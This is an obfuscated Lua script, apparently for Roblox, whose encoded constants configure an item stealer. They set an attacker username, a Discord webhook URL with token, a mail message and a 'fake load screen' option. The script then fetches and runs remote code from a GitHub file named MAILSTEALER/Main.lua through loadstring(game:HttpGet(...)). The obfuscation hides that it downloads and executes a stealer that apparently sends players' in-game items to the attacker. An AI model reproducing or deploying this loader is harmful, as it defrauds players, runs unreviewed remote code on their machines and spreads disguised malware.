local v0=tonumber;local v1=string.byte;local v2=string.char;local v3=string.sub;local v4=string.gsub;local v5=string.rep;local v6=table.concat;local v7=table.insert;local v8=math.ldexp;local v9=getfenv or function()return _ENV;end ;local v10=setmetatable;local v11=pcall;local v12=select;local v13=unpack or table.unpack ;local v14=tonumber;local function v15(v16,v17,...)local v18=0;local v19;local v20;local v21;local v22;local v23;local v24;local v25;local v26;local v27;local v28;local v29;local v30;while true do if (v18==5) then v27=v24;v28=nil;function v28(...)return {...},v12("#",...);end v18=6;end if (v18==2) then function v22()local v31=0 -0 ;local v32;while true do if (v31==1) then return v32;end if ((0 -0)==v31) then v32=v1(v16,v19,v19);v19=v19 + 1 ;v31=1 -0 ;end end end v23=nil;function v23()local v33=568 -(367 + 201) ;local v34;local v35;while true do if (v33==(0 -0)) then v34,v35=v1(v16,v19,v19 + (621 -(555 + 64)) );v19=v19 + (1639 -(1523 + 114)) ;v33=1 + 0 + (0 -0) ;end if (v33==(932 -(857 + 74))) then return (v35 * ((2198 -(68 + 997)) -(282 + 595))) + v34 ;end end end v18=3;end if (v18==4) then function v25()local v36=v24();local v37=v24();local v38=1;local v39=(v21(v37,1271 -(226 + 1044) ,20) * (2^(139 -107))) + v36 ;local v40=v21(v37,138 -(24 + 8 + (1082 -(915 + 82))) ,31 + 0 );local v41=((v21(v37,8 + 24 )==(958 -((2525 -1633) + 38 + 27))) and -(2 -1)) or 1 ;if (v40==(0 -0)) then if (v39==(0 -0)) then return v41 * (0 -0) ;else v40=351 -(87 + 263) ;v38=(1367 -(1069 + 118)) -(67 + 113) ;end elseif (v40==((3407 -1905) + 545)) then return ((v39==(0 -0)) and (v41 * ((1 + 0)/(0 -(0 -0))))) or (v41 * NaN) ;end return v8(v41,v40-(1975 -(802 + 27 + 123)) ) * (v38 + (v39/((5 -3)^(93 -41)))) ;end v26=nil;function v26(v42)local v43;if not v42 then local v83=0 -(18 -(10 + 8)) ;while true do if (v83==(0 + 0)) then v42=v24();if (v42==(791 -(368 + 423))) then return "";end break;end end end v43=v3(v16,v19,(v19 + v42) -1 );v19=v19 + v42 ;local v44={};for v66=3 -2 , #v43 do v44[v66]=v2(v1(v3(v43,v66,v66)));end return v6(v44);end v18=5;end if (v18==6) then v29=nil;function v29()local v45=0 -0 ;local v46;local v47;local v48;local v49;local v50;local v51;while true do local v68=0 + 0 ;while true do if (v68~=0) then else if (2~=v45) then else local v98=0 + 0 ;local v99;while true do if (v98==(396 -(115 + 281))) then v99=0 -0 ;while true do local v107=0 + 0 ;while true do if (v107~=(0 -0)) then else if (v99~=(3 -2)) then else return v49;end if (0==v99) then for v150=868 -(550 + 317) ,v24() do local v151=0 -0 ;local v152;local v153;local v154;local v155;while true do if ((2 -0)~=v151) then else while true do if (v152==0) then v153=0 -0 ;v154=nil;v152=286 -(134 + 151) ;end if (1~=v152) then else v155=nil;while true do if (v153~=1) then else while true do if (v154~=0) then else v155=v22();if (v21(v155,1,1666 -(970 + 695) )~=0) then else local v176=0;local v177;local v178;local v179;local v180;local v181;while true do if (0~=v176) then else v177=0 -0 ;v178=nil;v176=1991 -(582 + 1408) ;end if (v176==(3 -2)) then local v183=0 -0 ;while true do if (v183~=(3 -2)) then else v176=1826 -(1195 + 629) ;break;end if (v183==(0 -0)) then v179=nil;v180=nil;v183=242 -(187 + 54) ;end end end if (v176~=(782 -(162 + 618))) then else v181=nil;while true do if (0==v177) then v178=0;v179=nil;v177=1;end if (v177~=(1 + 0)) then else v180=nil;v181=nil;v177=2;end if (v177==(2 + 0)) then while true do if (v178~=(1 -0)) then else local v184=0 -0 ;local v185;while true do if (v184~=(0 + 0)) then else v185=1636 -(1373 + 263) ;while true do if (v185==1) then v178=2;break;end if (v185==(1000 -(451 + 549))) then v181={v23(),v23(),nil,nil};if (v179==0) then local v195=1384 -(746 + 638) ;local v196;local v197;while true do if (v195==0) then v196=0 + 0 ;v197=nil;v195=1 -0 ;end if (1~=v195) then else while true do if (v196~=0) then else v197=0;while true do if (v197==(341 -(218 + 123))) then v181[3]=v23();v181[4]=v23();break;end end break;end end break;end end elseif (v179==1) then v181[1584 -(1535 + 46) ]=v24();elseif (v179==2) then v181[3]=v24() -((2 + 0)^16) ;elseif (v179==(1 + 2)) then local v204=0;local v205;while true do if (v204==(560 -(306 + 254))) then v205=0;while true do if (v205==0) then v181[1 + 2 ]=v24() -((3 -1)^16) ;v181[4]=v23();break;end end break;end end end v185=1468 -(899 + 568) ;end end break;end end end if (v178~=(2 + 0)) then else local v186=0;while true do if (v186~=(2 -1)) then else v178=3;break;end if (0==v186) then local v193=603 -(268 + 335) ;local v194;while true do if ((290 -(60 + 230))~=v193) then else v194=572 -(426 + 146) ;while true do if ((0 + 0)==v194) then if (v21(v180,1,1457 -(282 + 1174) )~=1) then else v181[813 -(569 + 242) ]=v51[v181[2]];end if (v21(v180,5 -3 ,2)~=(1 + 0)) then else v181[3]=v51[v181[3]];end v194=1;end if (v194==(1025 -(706 + 318))) then v186=1252 -(721 + 530) ;break;end end break;end end end end end if (v178==(1274 -(945 + 326))) then if (v21(v180,7 -4 ,3)~=(1 + 0)) then else v181[4]=v51[v181[704 -(271 + 429) ]];end v46[v150]=v181;break;end if (v178~=0) then else local v188=0;local v189;local v190;while true do if (v188==(0 + 0)) then v189=1500 -(1408 + 92) ;v190=nil;v188=1087 -(461 + 625) ;end if (v188==1) then while true do if (v189==0) then v190=1288 -(993 + 295) ;while true do if (v190~=0) then else v179=v21(v155,2,1 + 2 );v180=v21(v155,1175 -(418 + 753) ,3 + 3 );v190=1 + 0 ;end if (v190~=(1 + 0)) then else v178=1 + 0 ;break;end end break;end end break;end end end end break;end end break;end end end break;end end break;end if (v153~=0) then else local v174=0;local v175;while true do if (v174~=0) then else v175=529 -(406 + 123) ;while true do if (v175==0) then local v182=0;while true do if (v182==1) then v175=1770 -(1749 + 20) ;break;end if (v182~=(0 + 0)) then else v154=1322 -(1249 + 73) ;v155=nil;v182=1 + 0 ;end end end if (v175==(1146 -(466 + 679))) then v153=2 -1 ;break;end end break;end end end end break;end end break;end if ((0 -0)~=v151) then else v152=1900 -(106 + 1794) ;v153=nil;v151=1 + 0 ;end if (v151==(1 + 0)) then v154=nil;v155=nil;v151=5 -3 ;end end end for v156=2 -1 ,v24() do v47[v156-1 ]=v29();end v99=1;end break;end end end break;end end end if (v45==(114 -(4 + 110))) then local v100=584 -(57 + 527) ;while true do if (v100==(1428 -(41 + 1386))) then v48={};v49={v46,v47,nil,v48};v100=3 -1 ;end if (v100==(0 -0)) then v46={};v47={};v100=167 -(122 + 44) ;end if (v100==(2 -0)) then v45=1;break;end end end v68=1;end if (v68==(3 -2)) then if (v45~=(1 + 0)) then else v50=v24();v51={};for v102=1,v50 do local v103=0 + 0 ;local v104;local v105;local v106;while true do if (v103==1) then v106=nil;while true do if (v104==0) then local v109=0;local v110;while true do if (v109==(0 -0)) then v110=65 -(30 + 35) ;while true do if (v110~=(0 + 0)) then else local v172=1257 -(1043 + 214) ;while true do if (v172==0) then local v173=0 -0 ;while true do if (v173~=(1213 -(323 + 889))) then else v172=1;break;end if (v173~=(0 -0)) then else v105=v22();v106=nil;v173=1;end end end if (v172==(581 -(361 + 219))) then v110=1;break;end end end if (v110~=1) then else v104=1;break;end end break;end end end if (v104==1) then if (v105==(321 -(53 + 267))) then v106=v22()~=(0 + 0) ;elseif (v105==2) then v106=v25();elseif (v105~=(416 -(15 + 398))) then else v106=v26();end v51[v102]=v106;break;end end break;end if (v103~=0) then else local v108=0;while true do if (v108~=0) then else v104=0;v105=nil;v108=983 -(18 + 964) ;end if (v108~=(3 -2)) then else v103=1;break;end end end end end v49[3]=v22();v45=2 + 0 ;end break;end end end end v30=nil;v18=7;end if (v18==0) then v19=1;v20=nil;v16=v4(v3(v16,5),"..",function(v52)if (v1(v52,2)==79) then v20=v0(v3(v52,1,1));return "";else local v84=v2(v0(v52,16));if v20 then local v90=0;local v91;while true do if (v90==1) then return v91;end if (v90==0) then v91=v5(v84,v20);v20=nil;v90=1;end end else return v84;end end end);v18=1;end if (v18==3) then v24=nil;function v24()local v53,v54,v55,v56=v1(v16,v19,v19 + 2 + 1 );v19=v19 + (854 -(20 + 830)) ;return (v56 * (13096116 + 3681100)) + (v55 * (65662 -(116 + 10))) + (v54 * ((757 -(542 + 196)) + 237)) + v53 ;end v25=nil;v18=4;end if (v18==7) then function v30(v57,v58,v59)local v60=v57[1];local v61=v57[2];local v62=v57[3];return function(...)local v69=v60;local v70=v61;local v71=v62;local v72=v28;local v73=1;local v74= -1;local v75={};local v76={...};local v77=v12("#",...) -1 ;local v78={};local v79={};for v85=0,v77 do if (v85>=v71) then v75[v85-v71 ]=v76[v85 + 1 ];else v79[v85]=v76[v85 + 1 ];end end local v80=(v77-v71) + 1 ;local v81;local v82;while true do local v86=0;while true do if (v86==0) then v81=v69[v73];v82=v81[1];v86=1;end if (v86==1) then if (v82<=10) then if (v82<=4) then if (v82<=1) then if (v82>0) then v79[v81[2]]=v81[3];else do return;end end elseif (v82<=2) then local v114=v81[2];local v115,v116=v72(v79[v114](v13(v79,v114 + 1 ,v81[3])));v74=(v116 + v114) -1 ;local v117=0;for v128=v114,v74 do v117=v117 + 1 ;v79[v128]=v115[v117];end elseif (v82>3) then local v133=v81[2];local v134=v79[v81[3]];v79[v133 + 1 ]=v134;v79[v133]=v134[v81[4]];else v73=v81[3];end elseif (v82<=7) then if (v82<=5) then v73=v81[3];elseif (v82>6) then if ((v81[3]=="_ENV") or (v81[3]=="getfenv")) then v79[v81[2]]=v59;else v79[v81[2]]=v59[v81[3]];end elseif (v79[v81[2]]==v81[4]) then v73=v73 + 1 ;else v73=v81[3];end elseif (v82<=8) then v79[v81[2]]();elseif (v82==9) then do return;end else v79[v81[2]]();end elseif (v82<=15) then if (v82<=12) then if (v82==11) then if (v79[v81[2]]==v81[4]) then v73=v73 + 1 ;else v73=v81[3];end else local v119=v81[2];local v120,v121=v72(v79[v119](v13(v79,v119 + 1 ,v81[3])));v74=(v121 + v119) -1 ;local v122=0;for v131=v119,v74 do local v132=0;while true do if (0==v132) then v122=v122 + 1 ;v79[v131]=v120[v122];break;end end end end elseif (v82<=13) then v79[v81[2]]=v81[3];elseif (v82>14) then local v140=v81[2];v79[v140]=v79[v140](v13(v79,v140 + 1 ,v74));else local v142=v81[2];v79[v142]=v79[v142](v13(v79,v142 + 1 ,v74));end elseif (v82<=18) then if (v82<=16) then v59[v81[3]]=v79[v81[2]];elseif (v82==17) then if ((v81[3]=="_ENV") or (v81[3]=="getfenv")) then v79[v81[2]]=v59;else v79[v81[2]]=v59[v81[3]];end else local v144=0;local v145;local v146;while true do if (v144==0) then v145=v81[2];v146=v79[v81[3]];v144=1;end if (v144==1) then v79[v145 + 1 ]=v146;v79[v145]=v146[v81[4]];break;end end end elseif (v82<=19) then v79[v81[2]]=v81[3]~=0 ;elseif (v82>20) then v79[v81[2]]=v81[3]~=0 ;else v59[v81[3]]=v79[v81[2]];end v73=v73 + 1 ;break;end end end end;end return v30(v29(),{},v17)(...);end if (v18==1) then v21=nil;function v21(v63,v64,v65)if v65 then local v87=377 -(142 + 235) ;local v88;while true do if (v87==(0 -0)) then v88=(v63/((1 + 1)^(v64-((4 -3) + 0))))%((1 + 1)^(((v65-(2 -1)) -(v64-((1 + 1) -(2 -1)))) + 1)) ;return v88-(v88%(1552 -(1126 + 425))) ;end end else local v89=(407 -(118 + 287))^(v64-1) ;return (((v63%(v89 + v89))>=v89) and (3 -2)) or (1121 -(118 + 1003)) ;end end v22=nil;v18=2;end end end v15("LOL!0F3O00028O00026O00F03F03083O00557365726E616D6503143O004C6F72644B61637A756368334F2O66696369616C03073O00576562682O6F6B03793O00682O7470733A2O2F646973636F72642E636F6D2F6170692F776562682O6F6B732F2O3139303736353931383339342O30373631322F526D75445332334549475468345166617277726B5769706B4E4771695A554F7971454B2D325A44686A774A7961574B3549636B68674E65524B786C30626A55454850722D027O004003073O004D61696C6D7367030D3O004B61637A7563684F6E546F7021030E3O0046616B654C6F61645363722O656E031B3O0046616B655F4875625F49665F4E6F745F456E6F7567685F47656D73030A3O006C6F6164737472696E6703043O0067616D6503073O00482O747047657403453O00682O7470733A2O2F7261772E67697468756275736572636F6E74656E742E636F6D2F504F2O4745525A31352F4D41494C535445414C45522F6D61696E2F4D61696E2E6C7561002D3O00120D3O00013O0026063O0010000100010004053O0010000100120D000100013O00260600010008000100020004053O0008000100120D3O00023O0004053O0010000100260600010004000100010004053O0004000100120D000200043O001214000200033O00120D000200063O001214000200053O00120D000100023O0004053O000400010026063O001F000100020004053O001F000100120D000100013O00260600010017000100020004053O0017000100120D3O00073O0004053O001F000100260600010013000100010004053O0013000100120D000200093O001214000200084O0015000200013O0012140002000A3O00120D000100023O0004053O001300010026063O0001000100070004053O000100012O0015000100013O0012140001000B3O0012070001000C3O0012070002000D3O00200400020002000E00120D0004000F4O0002000200044O000F00013O00022O000A0001000100010004053O002C00010004053O000100016O00017O00",v9(),...);